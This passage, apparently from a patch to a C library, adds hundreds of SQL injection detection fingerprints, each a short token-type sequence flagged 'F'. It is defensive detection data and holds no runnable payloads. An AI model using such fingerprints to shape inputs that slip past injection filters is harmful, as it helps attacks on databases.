{"0NOVK(", 'F'}, + {"0NOVK)", 'F'}, + {"0NOVK1", 'F'}, + {"0NOVKB", 'F'}, + {"0NOVKF", 'F'}, + {"0NOVKN", 'F'}, + {"0NOVKS", 'F'}, + {"0NOVKU", 'F'}, + {"0NOVKV", 'F'}, + {"0NOVO(", 'F'}, + {"0NOVOF", 'F'}, + {"0NOVOK", 'F'}, + {"0NOVOS", 'F'}, + {"0NOVOU", 'F'}, + {"0NOVS(", 'F'}, + {"0NOVS1", 'F'}, + {"0NOVSF", 'F'}, + {"0NOVSO", 'F'}, + {"0NOVSU", 'F'}, + {"0NOVSV", 'F'}, + {"0NOVT(", 'F'}, + {"0NOVT1", 'F'}, + {"0NOVTE", 'F'}, + {"0NOVTF", 'F'}, + {"0NOVTN", 'F'}, + {"0NOVTS", 'F'}, + {"0NOVTT", 'F'}, + {"0NOVTV", 'F'}, + {"0NOVU", 'F'}, + {"0NOVU(", 'F'}, + {"0NOVU1", 'F'}, + {"0NOVU;", 'F'}, + {"0NOVUC", 'F'}, + {"0NOVUE", 'F'}, + {"0NOVUF", 'F'}, + {"0NOVUK", 'F'}, + {"0NOVUO", 'F'}, + {"0NOVUS", 'F'}, + {"0NOVUT", 'F'}, + {"0NOVUV", 'F'}, + {"0NSO1U", 'F'}, + {"0NSONU", 'F'}, + {"0NSOSU", 'F'}, + {"0NSOVU", 'F'}, + {"0NSUE", 'F'}, + {"0NSUE;", 'F'}, + {"0NSUEC", 'F'}, + {"0NSUEK", 'F'}, + {"0NT(1)", 'F'}, + {"0NT(1O", 'F'}, + {"0NT(F(", 'F'}, + {"0NT(N)", 'F'}, + {"0NT(NO", 'F'}, + {"0NT(S)", 'F'}, + {"0NT(SO", 'F'}, + {"0NT(V)", 'F'}, + {"0NT(VO", 'F'}, + {"0NT1(F", 'F'}, + {"0NT1O(", 'F'}, + {"0NT1OF", 'F'}, + {"0NT1OS", 'F'}, + {"0NT1OV", 'F'}, + {"0NTE(1", 'F'}, + {"0NTE(F", 'F'}, + {"0NTE(N", 'F'}, + {"0NTE(S", 'F'}, + {"0NTE(V", 'F'}, + {"0NTE1N", 'F'}, + {"0NTE1O", 'F'}, + {"0NTEF(", 'F'}, + {"0NTEK(", 'F'}, + {"0NTEK1", 'F'}, + {"0NTEKF", 'F'}, + {"0NTEKN", 'F'}, + {"0NTEKS", 'F'}, + {"0NTEKV", 'F'}, + {"0NTENN", 'F'}, + {"0NTENO", 'F'}, + {"0NTESN", 'F'}, + {"0NTESO", 'F'}, + {"0NTEVN", 'F'}, + {"0NTEVO", 'F'}, + {"0NTF()", 'F'}, + {"0NTF(1", 'F'}, + {"0NTF(F", 'F'}, + {"0NTF(N", 'F'}, + {"0NTF(S", 'F'}, + {"0NTF(V", 'F'}, + {"0NTN(1", 'F'}, + {"0NTN(F", 'F'}, + {"0NTN(S", 'F'}, + {"0NTN(V", 'F'}, + {"0NTN1C", 'F'}, + {"0NTN1O", 'F'}, + {"0NTN;E", 'F'}, + {"0NTN;N", 'F'}, + {"0NTN;T", 'F'}, + {"0NTNE(", 'F'}, + {"0NTNE1", 'F'}, + {"0NTNEF", 'F'}, + {"0NTNEN", 'F'}, + {"0NTNES", 'F'}, + {"0NTNEV", 'F'}, + {"0NTNF(", 'F'}, + {"0NTNKN", 'F'}, + {"0NTNN:", 'F'}, + {"0NTNNC", 'F'}, + {"0NTNNO", 'F'}, + {"0NTNO(", 'F'}, + {"0NTNOF", 'F'}, + {"0NTNOS", 'F'}, + {"0NTNOV", 'F'}, + {"0NTNSC", 'F'}, + {"0NTNSO", 'F'}, + {"0NTNT(", 'F'}, + {"0NTNT1", 'F'}, + {"0NTNTF", 'F'}, + {"0NTNTN", 'F'}, + {"0NTNTS", 'F'}, + {"0NTNTV", 'F'}, + {"0NTNVC", 'F'}, + {"0NTNVO", 'F'}, + {"0NTS(F", 'F'}, + {"0NTSO(", 'F'}, + {"0NTSO1", 'F'}, + {"0NTSOF", 'F'}, + {"0NTSON", 'F'}, + {"0NTSOS", 'F'}, + {"0NTSOV", 'F'}, + {"0NTTNE", 'F'}, + {"0NTTNK", 'F'}, + {"0NTTNN", 'F'}, + {"0NTTNT", 'F'}, + {"0NTV(1", 'F'}, + {"0NTV(F", 'F'}, + {"0NTVO(", 'F'}, + {"0NTVOF", 'F'}, + {"0NTVOS", 'F'}, + {"0NU(1)", 'F'}, + {"0NU(1O", 'F'}, + {"0NU(E(", 'F'}, + {"0NU(E1", 'F'}, + {"0NU(EF", 'F'}, + {"0NU(EK", 'F'}, + {"0NU(EN", 'F'}, + {"0NU(ES", 'F'}, + {"0NU(EV", 'F'}, + {"0NU(F(", 'F'}, + {"0NU(N)", 'F'}, + {"0NU(NO", 'F'}, + {"0NU(S)", 'F'}, + {"0NU(SO", 'F'}, + {"0NU(V)", 'F'}, + {"0NU(VO", 'F'}, + {"0NU1,(", 'F'}, + {"0NU1,F", 'F'}, + {"0NU1C", 'F'}, + {"0NU1O(", 'F'}, + {"0NU1OF", 'F'}, + {"0NU1OS", 'F'}, + {"0NU1OV", 'F'}, + {"0NU;", 'F'}, + {"0NU;C", 'F'}, + {"0NUC", 'F'}, + {"0NUE", 'F'}, + {"0NUE(1", 'F'}, + {"0NUE(E", 'F'}, + {"0NUE(F", 'F'}, + {"0NUE(N", 'F'}, + {"0NUE(O", 'F'}, + {"0NUE(S", 'F'}, + {"0NUE(V", 'F'}, + {"0NUE1", 'F'}, + {"0NUE1&", 'F'}, + {"0NUE1(", 'F'}, + {"0NUE1)", 'F'}, + {"0NUE1,", 'F'}, + {"0NUE1;", 'F'}, + {"0NUE1B", 'F'}, + {"0NUE1C", 'F'}, + {"0NUE1F", 'F'}, + {"0NUE1K", 'F'}, + {"0NUE1N", 'F'}, + {"0NUE1O", 'F'}, + {"0NUE1S", 'F'}, + {"0NUE1U", 'F'}, + {"0NUE1V", 'F'}, + {"0NUE;", 'F'}, + {"0NUE;C", 'F'}, + {"0NUEC", 'F'}, + {"0NUEF", 'F'}, + {"0NUEF(", 'F'}, + {"0NUEF,", 'F'}, + {"0NUEF;", 'F'}, + {"0NUEFC", 'F'}, + {"0NUEK", 'F'}, + {"0NUEK(", 'F'}, + {"0NUEK1", 'F'}, + {"0NUEK;", 'F'}, + {"0NUEKC", 'F'}, + {"0NUEKF", 'F'}, + {"0NUEKN", 'F'}, + {"0NUEKO", 'F'}, + {"0NUEKS", 'F'}, + {"0NUEKV", 'F'}, + {"0NUEN", 'F'}, + {"0NUEN&", 'F'}, + {"0NUEN(", 'F'}, + {"0NUEN)", 'F'}, + {"0NUEN,", 'F'}, + {"0NUEN1", 'F'}, + {"0NUEN;", 'F'}, + {"0NUENB", 'F'}, + {"0NUENC", 'F'}, + {"0NUENF", 'F'}, + {"0NUENK", 'F'}, + {"0NUENO", 'F'}, + {"0NUENS", 'F'}, + {"0NUENU", 'F'}, + {"0NUEOK", 'F'}, + {"0NUEON", 'F'}, + {"0NUES", 'F'}, + {"0NUES&", 'F'}, + {"0NUES(", 'F'}, + {"0NUES)", 'F'}, + {"0NUES,", 'F'}, + {"0NUES1", 'F'}, + {"0NUES;", 'F'}, + {"0NUESB", 'F'}, + {"0NUESC", 'F'}, + {"0NUESF", 'F'}, + {"0NUESK", 'F'}, + {"0NUESO", 'F'}, + {"0NUESU", 'F'}, + {"0NUESV", 'F'}, + {"0NUEV", 'F'}, + {"0NUEV&", 'F'}, + {"0NUEV(", 'F'}, + {"0NUEV)", 'F'}, + {"0NUEV,", 'F'}, + {"0NUEV;", 'F'}, + {"0NUEVB", 'F'}, + {"0NUEVC", 'F'}, + {"0NUEVF", 'F'}, + {"0NUEVK", 'F'}, + {"0NUEVN", 'F'}, + {"0NUEVO", 'F'}, + {"0NUEVS", 'F'}, + {"0NUEVU", 'F'}, + {"0NUF()", 'F'}, + {"0NUF(1", 'F'}, + {"0NUF(F", 'F'}, + {"0NUF(N", 'F'}, + {"0NUF(S", 'F'}, + {"0NUF(V", 'F'}, + {"0NUK(E", 'F'}, + {"0NUO(E", 'F'}, + {"0NUON(", 'F'}, + {"0NUON1", 'F'}, + {"0NUONF", 'F'}, + {"0NUONS", 'F'}, + {"0NUS,(", 'F'}, + {"0NUS,F", 'F'}, + {"0NUSC", 'F'}, + {"0NUSO(", 'F'}, + {"0NUSO1", 'F'}, + {"0NUSOF", 'F'}, + {"0NUSON", 'F'}, + {"0NUSOS", 'F'}, + {"0NUSOV", 'F'}, + {"0NUTN(", 'F'}, + {"0NUTN1", 'F'}, + {"0NUTNF", 'F'}, + {"0NUTNN", 'F'}, + {"0NUTNS", 'F'}, + {"0NUTNV", 'F'}, + {"0NUV,(", 'F'}, + {"0NUV,F", 'F'}, + {"0NUVC", 'F'}, + {"0NUVO(", 'F'}, + {"0NUVOF", 'F'}, + {"0NUVOS", 'F'}, + {"0S&(1&", 'F'}, + {"0S&(1)", 'F'}, + {"0S&(1,", 'F'}, + {"0S&(1O", 'F'}, + {"0S&(E(", 'F'}, + {"0S&(E1", 'F'}, + {"0S&(EF", 'F'}, + {"0S&(EK", 'F'}, + {"0S&(EN", 'F'}, + {"0S&(EO", 'F'}, + {"0S&(ES", 'F'}, + {"0S&(EV", 'F'}, + {"0S&(F(", 'F'}, + {"0S&(N&", 'F'}, + {"0S&(N)", 'F'}, + {"0S&(N,", 'F'}, + {"0S&(NO", 'F'}, + {"0S&(S&", 'F'}, + {"0S&(S)", 'F'}, + {"0S&(S,", 'F'}, + {"0S&(SO", 'F'}, + {"0S&(V&", 'F'}, + {"0S&(V)", 'F'}, + {"0S&(V,", 'F'}, + {"0S&(VO", 'F'}, + {"0S&1", 'F'}, + {"0S&1&(", 'F'}, + {"0S&1&1", 'F'}, + {"0S&1&F", 'F'}, + {"0S&1&N", 'F'}, + {"0S&1&S", 'F'}, + {"0S&1&V", 'F'}, + {"0S&1)&", 'F'}, + {"0S&1)C", 'F'}, + {"0S&1)O", 'F'}, + {"0S&1)U", 'F'}, + {"0S&1;", 'F'}, + {"0S&1;C", 'F'}, + {"0S&1;E", 'F'}, + {"0S&1;T", 'F'}, + {"0S&1B(", 'F'}, + {"0S&1B1", 'F'}, + {"0S&1BF", 'F'}, + {"0S&1BN", 'F'}, + {"0S&1BS", 'F'}, + {"0S&1BV", 'F'}, + {"0S&1C", 'F'}, + {"0S&1EK", 'F'}, + {"0S&1EN", 'F'}, + {"0S&1F(", 'F'}, + {"0S&1K(", 'F'}, + {"0S&1K1", 'F'}, + {"0S&1KF", 'F'}, + {"0S&1KN", 'F'}, + {"0S&1KS", 'F'}, + {"0S&1KV", 'F'}, + {"0S&1O(", 'F'}, + {"0S&1OF", 'F'}, + {"0S&1OS", 'F'}, + {"0S&1OV", 'F'}, + {"0S&1TN", 'F'}, + {"0S&1U", 'F'}, + {"0S&1U(", 'F'}, + {"0S&1U;", 'F'}, + {"0S&1UC", 'F'}, + {"0S&1UE", 'F'}, + {"0S&E(1", 'F'}, + {"0S&E(F", 'F'}, + {"0S&E(N", 'F'}, + {"0S&E(O", 'F'}, + {"0S&E(S", 'F'}, + {"0S&E(V", 'F'}, + {"0S&E1", 'F'}, + {"0S&E1;", 'F'}, + {"0S&E1C", 'F'}, + {"0S&E1K", 'F'}, + {"0S&E1O", 'F'}, + {"0S&EF(", 'F'}, + {"0S&EK(", 'F'}, + {"0S&EK1", 'F'}, + {"0S&EKF", 'F'}, + {"0S&EKN", 'F'}, + {"0S&EKS", 'F'}, + {"0S&EKV", 'F'}, + {"0S&EN", 'F'}, + {"0S&EN;", 'F'}, + {"0S&ENC", 'F'}, + {"0S&ENK", 'F'}, + {"0S&ENO", 'F'}, + {"0S&ES", 'F'}, + {"0S&ES;", 'F'}, + {"0S&ESC", 'F'}, + {"0S&ESK", 'F'}, + {"0S&ESO", 'F'}, + {"0S&EV", 'F'}, + {"0S&EV;", 'F'}, + {"0S&EVC", 'F'}, + {"0S&EVK", 'F'}, + {"0S&EVO", 'F'}, + {"0S&F()", 'F'}, + {"0S&F(1", 'F'}, + {"0S&F(E", 'F'}, + {"0S&F(F", 'F'}, + {"0S&F(N", 'F'}, + {"0S&F(S", 'F'}, + {"0S&F(V", 'F'}, + {"0S&K&(", 'F'}, + {"0S&K&1", 'F'}, + {"0S&K&F", 'F'}, + {"0S&K&N", 'F'}, + {"0S&K&S", 'F'}, + {"0S&K&V", 'F'}, + {"0S&K(1", 'F'}, + {"0S&K(F", 'F'}, + {"0S&K(N", 'F'}, + {"0S&K(S", 'F'}, + {"0S&K(V", 'F'}, + {"0S&K1O", 'F'}, + {"0S&KC", 'F'}, + {"0S&KF(", 'F'}, + {"0S&KNK", 'F'}, + {"0S&KO(", 'F'}, + {"0S&KO1", 'F'}, + {"0S&KOF", 'F'}, + {"0S&KOK", 'F'}, + {"0S&KON", 'F'}, + {"0S&KOS", 'F'}, + {"0S&KOV", 'F'}, + {"0S&KSO", 'F'}, + {"0S&KVO", 'F'}, + {"0S&N", 'F'}, + {"0S&N&(", 'F'}, + {"0S&N&1", 'F'}, + {"0S&N&F", 'F'}, + {"0S&N&N", 'F'}, + {"0S&N&S", 'F'}, + {"0S&N&V", 'F'}, + {"0S&N)&", 'F'}, + {"0S&N)C", 'F'}, + {"0S&N)O", 'F'}, + {"0S&N)U", 'F'}, + {"0S&N;", 'F'}, + {"0S&N;C", 'F'}, + {"0S&N;E", 'F'}, + {"0S&N;T", 'F'}, + {"0S&NB(", 'F'}, + {"0S&NB1", 'F'}, + {"0S&NBF", 'F'}, + {"0S&NBN", 'F'}, + {"0S&NBS", 'F'}, + {"0S&NBV", 'F'}, + {"0S&NC", 'F'}, + {"0S&NEN", 'F'}, + {"0S&NF(", 'F'}, + {"0S&NK(", 'F'}, + {"0S&NK1", 'F'}, + {"0S&NKF", 'F'}, + {"0S&NKN", 'F'}, + {"0S&NKS", 'F'}, + {"0S&NKV", 'F'}, + {"0S&NO(", 'F'}, + {"0S&NOF", 'F'}, + {"0S&NOS", 'F'}, + {"0S&NOV", 'F'}, + {"0S&NTN", 'F'}, + {"0S&NU", 'F'}, + {"0S&NU(", 'F'}, + {"0S&NU;", 'F'}, + {"0S&NUC", 'F'}, + {"0S&NUE", 'F'}, + {"0S&S", 'F'}, + {"0S&S&(", 'F'}, + {"0S&S&1", 'F'}, + {"0S&S&F", 'F'}, + {"0S&S&N", 'F'}, + {"0S&S&S", 'F'}, + {"0S&S&V", 'F'}, + {"0S&S)&", 'F'}, + {"0S&S)C", 'F'}, + {"0S&S)O", 'F'}, + {"0S&S)U", 'F'}, + {"0S&S1", 'F'}, + {"0S&S1;", 'F'}, + {"0S&S1C", 'F'}, + {"0S&S;", 'F'}, + {"0S&S;C", 'F'}, + {"0S&S;E", 'F'}, + {"0S&S;T", 'F'}, + {"0S&SB(", 'F'}, + {"0S&SB1", 'F'}, + {"0S&SBF", 'F'}, + {"0S&SBN", 'F'}, + {"0S&SBS", 'F'}, + {"0S&SBV", 'F'}, + {"0S&SC", 'F'}, + {"0S&SEK", 'F'}, + {"0S&SEN", 'F'}, + {"0S&SF(", 'F'}, + {"0S&SK(", 'F'}, + {"0S&SK1", 'F'}, + {"0S&SKF", 'F'}, + {"0S&SKN", 'F'}, + {"0S&SKS", 'F'}, + {"0S&SKV", 'F'}, + {"0S&SO(", 'F'}, + {"0S&SO1", 'F'}, + {"0S&SOF", 'F'}, + {"0S&SON", 'F'}, + {"0S&SOS", 'F'}, + {"0S&SOV", 'F'}, + {"0S&STN", 'F'}, + {"0S&SU", 'F'}, + {"0S&SU(", 'F'}, + {"0S&SU;", 'F'}, + {"0S&SUC", 'F'}, + {"0S&SUE", 'F'}, + {"0S&SV", 'F'}, + {"0S&SV;", 'F'}, + {"0S&SVC", 'F'}, + {"0S&SVO", 'F'}, + {"0S&V", 'F'}, + {"0S&V&(", 'F'}, + {"0S&V&1", 'F'}, + {"0S&V&F", 'F'}, + {"0S&V&N", 'F'}, + {"0S&V&S", 'F'}, + {"0S&V&V", 'F'}, + {"0S&V)&", 'F'}, + {"0S&V)C", 'F'}, + {"0S&V)O", 'F'}, + {"0S&V)U", 'F'}, + {"0S&V;", 'F'}, + {"0S&V;C", 'F'}, + {"0S&V;E", 'F'}, + {"0S&V;T", 'F'}, + {"0S&VB(", 'F'}, + {"0S&VB1", 'F'}, + {"0S&VBF", 'F'}, + {"0S&VBN", 'F'}, + {"0S&VBS", 'F'}, + {"0S&VBV", 'F'}, + {"0S&VC", 'F'}, + {"0S&VEK", 'F'}, + {"0S&VEN", 'F'}, + {"0S&VF(", 'F'}, + {"0S&VK(", 'F'}, + {"0S&VK1", 'F'}, + {"0S&VKF", 'F'}, + {"0S&VKN", 'F'}, + {"0S&VKS", 'F'}, + {"0S&VKV", 'F'}, + {"0S&VO(", 'F'}, + {"0S&VOF", 'F'}, + {"0S&VOS", 'F'}, + {"0S&VS", 'F'}, + {"0S&VS;", 'F'}, + {"0S&VSC", 'F'}, + {"0S&VSO", 'F'}, + {"0S&VTN", 'F'}, + {"0S&VU", 'F'}, + {"0S&VU(", 'F'}, + {"0S&VU;", 'F'}, + {"0S&VUC", 'F'}, + {"0S&VUE", 'F'}, + {"0S(EF(", 'F'}, + {"0S(EKF", 'F'}, + {"0S(EKN", 'F'}, + {"0S(ENK", 'F'}, + {"0S(U(E", 'F'}, + {"0S)&(1", 'F'}, + {"0S)&(E", 'F'}, + {"0S)&(F", 'F'}, + {"0S)&(N", 'F'}, + {"0S)&(S", 'F'}, + {"0S)&(V", 'F'}, + {"0S)&1", 'F'}, + {"0S)&1&", 'F'}, + {"0S)&1)", 'F'}, + {"0S)&1;", 'F'}, + {"0S)&1B", 'F'}, + {"0S)&1C", 'F'}, + {"0S)&1F", 'F'}, + {"0S)&1O", 'F'}, + {"0S)&1U", 'F'}, + {"0S)&F(", 'F'}, + {"0S)&N", 'F'}, + {"0S)&N&", 'F'}, + {"0S)&N)", 'F'}, + {"0S)&N;", 'F'}, + {"0S)&NB", 'F'}, + {"0S)&NC", 'F'}, + {"0S)&NF", 'F'}, + {"0S)&NO", 'F'}, + {"0S)&NU", 'F'}, + {"0S)&S", 'F'}, + {"0S)&S&", 'F'}, + {"0S)&S)", 'F'}, + {"0S)&S;", 'F'}, + {"0S)&SB", 'F'}, + {"0S)&SC", 'F'}, + {"0S)&SF", 'F'}, + {"0S)&SO", 'F'}, + {"0S)&SU", 'F'}, + {"0S)&V", 'F'}, + {"0S)&V&", 'F'}, + {"0S)&V)", 'F'}, + {"0S)&V;", 'F'}, + {"0S)&VB", 'F'}, + {"0S)&VC", 'F'}, + {"0S)&VF", 'F'}, + {"0S)&VO", 'F'}, + {"0S)&VU", 'F'}, + {"0S),(1", 'F'}, + {"0S),(F", 'F'}, + {"0S),(N", 'F'}, + {"0S),(S", 'F'}, + {"0S),(V", 'F'}, + {"0S);E(", 'F'}, + {"0S);E1", 'F'}, + {"0S);EF", 'F'}, + {"0S);EK", 'F'}, + {"0S);EN", 'F'}, + {"0S);EO", 'F'}, + {"0S);ES", 'F'}, + {"0S);EV", 'F'}, + {"0S);T(", 'F'}, + {"0S);T1", 'F'}, + {"0S);TF", 'F'}, + {"0S);TK", 'F'}, + {"0S);TN", 'F'}, + {"0S);TO", 'F'}, + {"0S);TS", 'F'}, + {"0S);TV", 'F'}, + {"0S)B(1", 'F'}, + {"0S)B(F", 'F'}, + {"0S)B(N", 'F'}, + {"0S)B(S", 'F'}, + {"0S)B(V", 'F'}, + {"0S)B1", 'F'}, + {"0S)B1&", 'F'}, + {"0S)B1;", 'F'}, + {"0S)B1C", 'F'}, + {"0S)B1K", 'F'}, + {"0S)B1N", 'F'}, + {"0S)B1O", 'F'}, + {"0S)B1U", 'F'}, + {"0S)BF(", 'F'}, + {"0S)BN", 'F'}, + {"0S)BN&", 'F'}, + {"0S)BN;", 'F'}, + {"0S)BNC", 'F'}, + {"0S)BNK", 'F'}, + {"0S)BNO", 'F'}, + {"0S)BNU", 'F'}, + {"0S)BS", 'F'}, + {"0S)BS&", 'F'}, + {"0S)BS;", 'F'}, + {"0S)BSC", 'F'}, + {"0S)BSK", 'F'}, + {"0S)BSO", 'F'}, + {"0S)BSU", 'F'}, + {"0S)BV", 'F'}, + {"0S)BV&", 'F'}, + {"0S)BV;", 'F'}, + {"0S)BVC", 'F'}, + {"0S)BVK", 'F'}, + {"0S)BVO", 'F'}, + {"0S)BVU", 'F'}, + {"0S)C", 'F'}, + {"0S)E(1", 'F'}, + {"0S)E(F", 'F'}, + {"0S)E(N", 'F'}, + {"0S)E(S", 'F'}, + {"0S)E(V", 'F'}, + {"0S)E1C", 'F'}, + {"0S)E1O", 'F'}, + {"0S)EF(", 'F'}, + {"0S)EK(", 'F'}, + {"0S)EK1", 'F'}, + {"0S)EKF", 'F'}, + {"0S)EKN", 'F'}, + {"0S)EKS", 'F'}, + {"0S)EKV", 'F'}, + {"0S)ENC", 'F'}, + {"0S)ENO", 'F'}, + {"0S)ESC", 'F'}, + {"0S)ESO", 'F'}, + {"0S)EVC", 'F'}, + {"0S)EVO", 'F'}, + {"0S)F(F", 'F'}, + {"0S)K(1", 'F'}, + {"0S)K(F", 'F'}, + {"0S)K(N", 'F'}, + {"0S)K(S", 'F'}, + {"0S)K(V", 'F'}, + {"0S)K1&", 'F'}, + {"0S)K1;", 'F'}, + {"0S)K1B", 'F'}, + {"0S)K1E", 'F'}, + {"0S)K1O", 'F'}, + {"0S)K1U", 'F'}, + {"0S)KB(", 'F'}, + {"0S)KB1", 'F'}, + {"0S)KBF", 'F'}, + {"0S)KBN", 'F'}, + {"0S)KBS", 'F'}, + {"0S)KBV", 'F'}, + {"0S)KF(", 'F'}, + {"0S)KN&", 'F'}, + {"0S)KN;", 'F'}, + {"0S)KNB", 'F'}, + {"0S)KNC", 'F'}, + {"0S)KNE", 'F'}, + {"0S)KNK", 'F'}, + {"0S)KNU", 'F'}, + {"0S)KS&", 'F'}, + {"0S)KS;", 'F'}, + {"0S)KSB", 'F'}, + {"0S)KSE", 'F'}, + {"0S)KSO", 'F'}, + {"0S)KSU", 'F'}, + {"0S)KUE", 'F'}, + {"0S)KV&", 'F'}, + {"0S)KV;", 'F'}, + {"0S)KVB", 'F'}, + {"0S)KVE", 'F'}, + {"0S)KVO", 'F'}, + {"0S)KVU", 'F'}, + {"0S)O(1", 'F'}, + {"0S)O(E", 'F'}, + {"0S)O(F", 'F'}, + {"0S)O(N", 'F'}, + {"0S)O(S", 'F'}, + {"0S)O(V", 'F'}, + {"0S)O1", 'F'}, + {"0S)O1&", 'F'}, + {"0S)O1)", 'F'}, + {"0S)O1;", 'F'}, + {"0S)O1B", 'F'}, + {"0S)O1C", 'F'}, + {"0S)O1K", 'F'}, + {"0S)O1U", 'F'}, + {"0S)OF(", 'F'}, + {"0S)ON&", 'F'}, + {"0S)ON)", 'F'}, + {"0S)ON;", 'F'}, + {"0S)ONB", 'F'}, + {"0S)ONC", 'F'}, + {"0S)ONK", 'F'}, + {"0S)ONU", 'F'}, + {"0S)OS", 'F'}, + {"0S)OS&", 'F'}, + {"0S)OS)", 'F'}, + {"0S)OS;", 'F'}, + {"0S)OSB", 'F'}, + {"0S)OSC", 'F'}, + {"0S)OSK", 'F'}, + {"0S)OSU", 'F'}, + {"0S)OV", 'F'}, + {"0S)OV&", 'F'}, + {"0S)OV)", 'F'}, + {"0S)OV;", 'F'}, + {"0S)OVB", 'F'}, + {"0S)OVC", 'F'}, + {"0S)OVK", 'F'}, + {"0S)OVO", 'F'}, + {"0S)OVU", 'F'}, + {"0S)U(E", 'F'}, + {"0S)UE(", 'F'}, + {"0S)UE1", 'F'}, + {"0S)UEF", 'F'}, + {"0S)UEK", 'F'}, + {"0S)UEN", 'F'}, + {"0S)UES", 'F'}, + {"0S)UEV", 'F'}, + {"0S,(1)", 'F'}, + {"0S,(1O", 'F'}, + {"0S,(E(", 'F'}, + {"0S,(E1", 'F'}, + {"0S,(EF", 'F'}, + {"0S,(EK", 'F'}, + {"0S,(EN", 'F'}, + {"0S,(ES", 'F'}, + {"0S,(EV", 'F'}, + {"0S,(F(", 'F'}, + {"0S,(N)", 'F'}, + {"0S,(NO", 'F'}, + {"0S,(S)", 'F'}, + {"0S,(SO", 'F'}, + {"0S,(V)", 'F'}, + {"0S,(VO", 'F'}, + {"0S,F()", 'F'}, + {"0S,F(1", 'F'}, + {"0S,F(F", 'F'}, + {"0S,F(N", 'F'}, + {"0S,F(S", 'F'}, + {"0S,F(V", 'F'}, + {"0S1F()", 'F'}, + {"0S1F(1", 'F'}, + {"0S1F(F", 'F'}, + {"0S1F(N", 'F'}, + {"0S1F(S", 'F'}, + {"0S1F(V", 'F'}, + {"0S1NC", 'F'}, + {"0S1S;", 'F'}, + {"0S1S;C", 'F'}, + {"0S1SC", 'F'}, + {"0S1UE", 'F'}, + {"0S1UE;", 'F'}, + {"0S1UEC", 'F'}, + {"0S1UEK", 'F'}, + {"0S1V", 'F'}, + {"0S1V;", 'F'}, + {"0S1V;C", 'F'}, + {"0S1VC", 'F'}, + {"0S1VO(", 'F'}, + {"0S1VOF", 'F'}, + {"0S1VOS", 'F'}, + {"0S;E(1", 'F'}, + {"0S;E(E", 'F'}, + {"0S;E(F", 'F'}, + {"0S;E(N", 'F'}, + {"0S;E(S", 'F'}, + {"0S;E(V", 'F'}, + {"0S;E1,", 'F'}, + {"0S;E1;", 'F'}, + {"0S;E1C", 'F'}, + {"0S;E1K", 'F'}, + {"0S;E1O", 'F'}, + {"0S;E1T", 'F'}, + {"0S;EF(", 'F'}, + {"0S;EK(", 'F'}, + {"0S;EK1", 'F'}, + {"0S;EKF", 'F'}, + {"0S;EKN", 'F'}, + {"0S;EKO", 'F'}, + {"0S;EKS", 'F'}, + {"0S;EKV", 'F'}, + {"0S;EN,", 'F'}, + {"0S;EN;", 'F'}, + {"0S;ENC", 'F'}, + {"0S;ENE", 'F'}, + {"0S;ENK", 'F'}, + {"0S;ENO", 'F'}, + {"0S;ENT", 'F'}, + {"0S;ES,", 'F'}, + {"0S;ES;", 'F'}, + {"0S;ESC", 'F'}, + {"0S;ESK", 'F'}, + {"0S;ESO", 'F'}, + {"0S;EST", 'F'}, + {"0S;EV,", 'F'}, + {"0S;EV;", 'F'}, + {"0S;EVC", 'F'}, + {"0S;EVK", 'F'}, + {"0S;EVO", 'F'}, + {"0S;EVT", 'F'}, + {"0S;N:T", 'F'}, + {"0S;T(1", 'F'}, + {"0S;T(C", 'F'}, + {"0S;T(E", 'F'}, + {"0S;T(F", 'F'}, + {"0S;T(N", 'F'}, + {"0S;T(S", 'F'}, + {"0S;T(V", 'F'}, + {"0S;T1(", 'F'}, + {"0S;T1,", 'F'}, + {"0S;T1;", 'F'}, + {"0S;T1C", 'F'}, + {"0S;T1F", 'F'}, + {"0S;T1K", 'F'}, + {"0S;T1O", 'F'}, + {"0S;T1T", 'F'}, + {"0S;T;", 'F'}, + {"0S;T;C", 'F'}, + {"0S;TF(", 'F'}, + {"0S;TK(", 'F'}, + {"0S;TK1", 'F'}, + {"0S;TKF", 'F'}, + {"0S;TKK", 'F'}, + {"0S;TKN", 'F'}, + {"0S;TKO", 'F'}, + {"0S;TKS", 'F'}, + {"0S;TKV", 'F'}, + {"0S;TN(", 'F'}, + {"0S;TN,", 'F'}, + {"0S;TN1", 'F'}, + {"0S;TN;", 'F'}, + {"0S;TNC", 'F'}, + {"0S;TNE", 'F'}, + {"0S;TNF", 'F'}, + {"0S;TNK", 'F'}, + {"0S;TNN", 'F'}, + {"0S;TNO", 'F'}, + {"0S;TNS", 'F'}, + {"0S;TNT", 'F'}, + {"0S;TNV", 'F'}, + {"0S;TO(", 'F'}, + {"0S;TS(", 'F'}, + {"0S;TS,", 'F'}, + {"0S;TS;", 'F'}, + {"0S;TSC", 'F'}, + {"0S;TSF", 'F'}, + {"0S;TSK", 'F'}, + {"0S;TSO", 'F'}, + {"0S;TST", 'F'}, + {"0S;TTN", 'F'}, + {"0S;TV(", 'F'}, + {"0S;TV,", 'F'}, + {"0S;TV;", 'F'}, + {"0S;TVC", 'F'}, + {"0S;TVF", 'F'}, + {"0S;TVK", 'F'}, + {"0S;TVO", 'F'}, + {"0S;TVT", 'F'}, + {"0SA(F(", 'F'}, + {"0SA(N)", 'F'}, + {"0SA(NO", 'F'}, + {"0SA(S)", 'F'}, + {"0SA(SO", 'F'}, + {"0SA(V)", 'F'}, + {"0SA(VO", 'F'}, + {"0SAF()", 'F'}, + {"0SAF(1", 'F'}, + {"0SAF(F", 'F'}, + {"0SAF(N", 'F'}, + {"0SAF(S", 'F'}, + {"0SAF(V", 'F'}, + {"0SASO(", 'F'}, + {"0SASO1", 'F'}, + {"0SASOF", 'F'}, + {"0SASON", 'F'}, + {"0SASOS", 'F'}, + {"0SASOV", 'F'}, + {"0SASUE", 'F'}, + {"0SATO(", 'F'}, + {"0SATO1", 'F'}, + {"0SATOF", 'F'}, + {"0SATON", 'F'}, + {"0SATOS", 'F'}, + {"0SATOV", 'F'}, + {"0SATUE", 'F'}, + {"0SAVO(", 'F'}, + {"0SAVOF", 'F'}, + {"0SAVOS", 'F'}, + {"0SAVUE", 'F'}, + {"0SB(1)", 'F'}, + {"0SB(1O", 'F'}, + {"0SB(F(", 'F'}, + {"0SB(NO", 'F'}, + {"0SB(S)", 'F'}, + {"0SB(SO", 'F'}, + {"0SB(V)", 'F'}, + {"0SB(VO", 'F'}, + {"0SB1", 'F'}, + {"0SB1&(", 'F'}, + {"0SB1&1", 'F'}, + {"0SB1&F", 'F'}, + {"0SB1&N", 'F'}, + {"0SB1&S", 'F'}, + {"0SB1&V", 'F'}, + {"0SB1,(", 'F'}, + {"0SB1,F", 'F'}, + {"0SB1;", 'F'}, + {"0SB1;C", 'F'}, + 